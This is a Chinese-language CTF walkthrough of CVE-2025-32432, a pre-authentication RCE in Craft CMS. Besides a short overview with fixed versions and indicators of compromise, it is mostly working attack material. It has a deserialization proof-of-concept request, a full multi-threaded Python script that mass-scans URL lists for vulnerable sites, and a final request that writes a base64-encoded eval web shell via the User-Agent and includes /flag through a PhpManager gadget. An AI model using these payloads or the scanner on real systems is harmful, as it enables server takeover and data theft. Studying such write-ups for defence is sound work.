🧨CVE-2025-32432 – Craft CMS预认证RCE漏洞分析 🧨
🕵️ 漏洞概述
- 严重程度: 严重(CVSS评分:10.0)
- 类型: 通过不安全的反序列化实现远程代码执行(RCE)
- 受影响产品: Craft CMS
- 认证要求: 无需认证 - 攻击者只需要一个有效的资源ID
✅ 修复版本
3.9.15
4.14.15
5.6.17
🧪 入侵指标(IoCs)
对/actions/assets/generate-transform的可疑POST请求
请求体中包含__class的有效载荷
意外或最近修改的PHP文件
异常的资源使用情况(如挖矿程序导致的高CPU)
😎前提:
截止这篇文章提交前,仅有一人通关CVE-2025-32432
本来想让这篇文章成为VIP资源,但是觉得全网还没有相关的WriteUP干脆就开源了
希望可以点一点关注和点一点赞

访问靶机

- 访问admin/login

相关信息随便填,然后用burpsuite抓包

4,将Cookie和X-CSRF-Token复制出来,用于绕过验证
😊POC
POST /index?p=admin/actions/assets/generate-transform HTTP/1.1
Host: 39.106.48.123:34583
User-Agent: Mozilla/5.0 (compatible; CraftCMS-scanner)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Cookie: CraftSessionId=c45cfb5b0e88cb9bfa6512d8884a560e; CRAFT_CSRF_TOKEN=de73f9da8641f8cabfa8b130b34138dbc82b48f82e227acb1e22c3bde5f0edd2a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22WXvrYbOdDAp-Ir_nwPp0cE-wRhCSNcscfEJ56y_E%22%3B%7D
X-CSRF-Token: pkd964lmdnIWe1fpfZXtRzl-K0l2hDYtLlovLW0bHbQHfw8guuP3ufEfC5nQBDkWUjonxDTnsilOLlt5FcEbWnwybH4jeG7XYTpFFYyaqPw=
Connection: close
Content-Length: 271
{
"assetId": 123,
"handle": {
"width": 123,
"height": 123,
"as 111": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
基于python写的验证脚本
脚本来源https://github.com/Sachinart/CVE-2025-32432
#!/usr/bin/env python3
"""
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.
The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.
Usage:
Single target:
python3 craftcms_rce.py -u example.com
Multiple targets:
python3 craftcms_rce.py -f urls.txt -t 10
"""
import argparse
import concurrent.futures
import re
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CraftCMSExploit:
def __init__(self, url):
"""Initialize the exploit with the target URL."""
self.url = url if url.endswith('/') else url + '/'
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
}
def normalize_url(self, url):
"""Ensure URL has a scheme."""
if not url.startswith('http'):
url = 'http://' + url
return url
def extract_csrf_token(self):
"""Get the CSRF token from the dashboard page."""
try:
dashboard_url = self.url + "index.php?p=admin/dashboard"
response = self.session.get(dashboard_url, timeout=10)
if response.status_code == 200:
# Parse the HTML response
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
if csrf_input and csrf_input.get('value'):
csrf_token = csrf_input.get('value')
return csrf_token
else:
# Try regex as fallback
match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
if match:
return match.group(1)
return None
except Exception as e:
print(f"Error extracting CSRF token from {self.url}: {str(e)}")
return None
def exploit(self):
"""Attempt to exploit the vulnerability and return results."""
result = {
'url': self.url,
'vulnerable': False,
'db_name': None,
'home_dir': None,
'error': None
}
try:
# Extract CSRF token
csrf_token = self.extract_csrf_token()
if not csrf_token:
result['error'] = "Failed to extract CSRF token"
return result
# Prepare exploit request
exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
headers = {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf_token
}
payload = {
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)
# Check if the exploit succeeded
if 'PHP Version' in response.text and 'PHP License' in response.text:
result['vulnerable'] = True
# Extract CRAFT_DB_DATABASE value
db_match = re.search(r'<tr><td class="e">CRAFT_DB_DATABASE\s*</td><td class="v">([^<]+)</td></tr>', response.text)
if db_match:
result['db_name'] = db_match.group(1).strip()
# Extract HOME directory value
home_match = re.search(r'<tr><td class="e">\$_SERVER\[\'HOME\'\]</td><td class="v">([^<]+)</td></tr>', response.text)
if home_match:
result['home_dir'] = home_match.group(1).strip()
# If HOME is not found, try to find it in a different format
if not result['home_dir']:
alt_home_match = re.search(r'<tr><td class="e">HOME</td><td class="v">([^<]+)</td></tr>', response.text)
if alt_home_match:
result['home_dir'] = alt_home_match.group(1).strip()
return result
except Exception as e:
result['error'] = str(e)
return result
def process_url(url):
"""Process a single URL."""
try:
# Normalize URL
if not url.startswith('http'):
url = 'http://' + url
print(f"[*] Testing {url}")
exploit = CraftCMSExploit(url)
result = exploit.exploit()
if result['vulnerable']:
print(f"[+] VULNERABLE: {url}")
print(f" CRAFT_DB_DATABASE: {result['db_name'] or 'Not found'}")
print(f" HOME Directory: {result['home_dir'] or 'Not found'}")
with open('vulnerable.txt', 'a') as f:
f.write(f"{url},{result['db_name'] or 'Not found'},{result['home_dir'] or 'Not found'}\n")
elif result['error']:
print(f"[-] ERROR ({url}): {result['error']}")
else:
print(f"[-] Not vulnerable: {url}")
return result
except Exception as e:
print(f"[-] Error processing {url}: {str(e)}")
return {'url': url, 'vulnerable': False, 'error': str(e)}
def main():
parser = argparse.ArgumentParser(description='CraftCMS CVE-2025-32432 RCE Exploit')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-f', '--file', help='File containing URLs to test')
group.add_argument('-u', '--url', help='Single URL to test')
parser.add_argument('-t', '--threads', type=int, default=5, help='Number of threads (default: 5)')
args = parser.parse_args()
urls = []
# Handle single URL mode
if args.url:
urls = [args.url]
print(f"[*] Testing single target: {args.url}")
# Handle file mode
elif args.file:
try:
with open(args.file, 'r') as f:
urls = [line.strip() for line in f if line.strip()]
print(f"[*] Loaded {len(urls)} URLs from {args.file}")
except Exception as e:
print(f"Error reading URL file: {str(e)}")
sys.exit(1)
print(f"[*] Starting scan with {args.threads} threads")
# Create results file for vulnerable sites
with open('vulnerable.txt', 'w') as f:
f.write("url,craft_db_database,home_directory\n")
# Process URLs using thread pool
results = []
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
results = list(executor.map(process_url, urls))
# Summary
vulnerable_count = sum(1 for r in results if r['vulnerable'])
print("\n=== SCAN SUMMARY ===")
print(f"Total URLs scanned: {len(urls)}")
print(f"Vulnerable sites: {vulnerable_count}")
print(f"Detailed results saved to vulnerable.txt")
if __name__ == "__main__":
main()

到此就证明web存在CVE-2025-32432
但是我们的目的是获取Flag,所以接下来才是重点
脱离一般
我们可以来审计代码
文件包含关键代码:
public function init()
{
parent::init();
$this->itemFile = Yii::getAlias($this->itemFile); // 解析路径别名
$this->assignmentFile = Yii::getAlias($this->assignmentFile);
$this->ruleFile = Yii::getAlias($this->ruleFile);
$this->load(); // 加载文件
}
protected function load()
{
$this->children = [];
$this->rules = [];
$this->assignments = [];
$this->items = [];
$items = $this->loadFromFile($this->itemFile); // 调用文件加载方法
}
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file; // 包含并执行文件(危险操作)
}
return [];
}
由此可见itemFile可以包含任意文件
到此一整条利用链路清晰起来
😎EXP
POST /index?p=admin/actions/assets/generate-transform HTTP/1.1
Host: 39.106.48.123:34583
User-Agent: <?php `echo PD9waHAgQGV2YWwoJF9QT1NUWyJodHIiXSk7Pz4=|base64 -d>shel.php`;?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Cookie: CraftSessionId=c45cfb5b0e88cb9bfa6512d8884a560e; CRAFT_CSRF_TOKEN=de73f9da8641f8cabfa8b130b34138dbc82b48f82e227acb1e22c3bde5f0edd2a%3A2%3A%7Bi%3A0%3Bs%3A16%3A%22CRAFT_CSRF_TOKEN%22%3Bi%3A1%3Bs%3A40%3A%22WXvrYbOdDAp-Ir_nwPp0cE-wRhCSNcscfEJ56y_E%22%3B%7D
X-CSRF-Token: pkd964lmdnIWe1fpfZXtRzl-K0l2hDYtLlovLW0bHbQHfw8guuP3ufEfC5nQBDkWUjonxDTnsilOLlt5FcEbWnwybH4jeG7XYTpFFYyaqPw=
Connection: close
Content-Length: 401
{
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as hack": {
"class": "\\craft\\behaviors\\FieldLayoutBehavior",
"__class": "\\yii\\rbac\\PhpManager",
"__construct()": [
{
"itemFile": "/flag"
}
]
}
}
}

成功获取flag
参考文章:
https://zkaqlaoniao.blog.csdn.net/article/details/155266895?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-155266895-blog-149413642.235%5Ev43%5Epc_blog_bottom_relevance_base2&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EYuanLiJiHua%7EPosition-2-155266895-blog-149413642.235%5Ev43%5Epc_blog_bottom_relevance_base2&utm_relevant_index=5
https://blog.csdn.net/weishi122/article/details/149413642?ops_request_misc=&request_id=&biz_id=102&utm_term=CVE-2025-32432&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduweb~default-3-149413642.142v102pc_search_result_base3&spm=1018.2226.3001.4187

1269

被折叠的 条评论
为什么被折叠?



